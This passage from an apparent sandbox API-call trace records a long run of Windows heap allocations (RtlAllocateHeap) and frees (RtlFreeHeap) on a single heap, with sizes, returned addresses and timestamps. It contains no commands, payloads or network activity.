Flags=0x8, Size=0x2c) returned 0x203f990 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203f9c8 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203f9e0 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xb) returned 0x203f9f8 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fa10 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203fa28 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6) returned 0x203fa40 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf) returned 0x203fa50 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa) returned 0x203fa68 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203fa80 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xb) returned 0x203fab0 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fac8 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc4) returned 0x203fe98 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa) returned 0x203fae0 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x203ff68 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x203ff78 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x203ff88 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x203ff98 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x203ffa8 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x203ffb8 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x203ffc8 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6) returned 0x203ffd8 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040000 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040010 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040020 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203faf8 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040030 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040040 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040050 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040060 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040070 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040080 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5) returned 0x2040090 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400a0 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400b0 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400c0 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400d0 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe) returned 0x203fb10 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400e0 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400f0 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040100 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040110 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040120 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040130 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040140 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040150 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040160 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040170 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040180 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040190 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20401a0 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401b0 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20401c0 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20401d0 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20401e0 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20401f0 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5) returned 0x2040200 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040210 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040220 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040230 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040240 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040250 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040260 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7) returned 0x2040270 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040280 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa) returned 0x203fb28 [0051.014] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4f51) returned 0x20403e8 [0051.015] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6d1) returned 0x2045348 [0051.015] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x11) returned 0x20af8a8 [0051.015] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x21) returned 0x2045a28 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2045a28) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af848) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af828) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af8a8) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af808) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2045348) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af7e8) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af7c8) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20403e8) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af7a8) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fb28) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af788) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040280) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af768) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040270) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af748) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040260) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af728) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040250) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af708) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040240) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af6e8) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040230) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af6c8) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040220) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af6a8) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040210) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af688) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040200) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af668) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401f0) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af648) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401e0) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af628) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401d0) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af1e8) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401c0) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af1c8) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401b0) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af1a8) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401a0) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af188) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040190) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af168) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040180) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af148) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040170) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af128) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040160) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af108) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040150) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af0e8) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040140) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af0c8) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040130) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af0a8) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040120) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af088) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040110) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af068) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040100) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af048) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400f0) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af028) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400e0) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af008) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fb10) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aefe8) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400d0) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aefc8) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400c0) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aefa8) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400b0) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aef88) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400a0) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aef68) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040090) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aef48) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040080) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aef28) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040070) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aef08) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040060) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeee8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040050) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeec8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040040) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeea8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040030) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aee88) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203faf8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aee68) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040020) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aee48) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040010) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aee28) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040000) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aee08) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ffd8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aede8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ffc8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aedc8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ffb8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeda8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ffa8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aed88) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff98) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aed68) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff88) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aed48) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff78) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aed28) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff68) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aed08) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fae0) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aece8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fe98) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aecc8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fac8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeca8) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fab0) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aec88) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fa80) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aec68) returned 1 [0051.017] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fa68) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aec48) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fa50) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aec28) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fa40) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aec08) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fa28) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aebe8) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fa10) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aebc8) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f9f8) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeba8) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f9e0) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeb88) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f9c8) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeb68) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f990) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeb48) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f980) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeb28) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f970) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeb08) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f958) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeae8) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f940) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeac8) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f930) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeaa8) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af888) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aea88) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f920) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aea68) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f908) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aea48) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f8e0) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aea28) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f8d0) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae9f0) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f8b8) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae9d0) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f8a0) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae9b0) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f888) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae990) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f870) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae970) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20affc8) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae950) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af868) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae930) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20affb8) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae910) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20affa0) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae8f0) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f820) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae8d0) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aff68) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae8b0) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae890) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae870) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae850) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aff58) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae830) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aff48) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae810) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aff10) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, 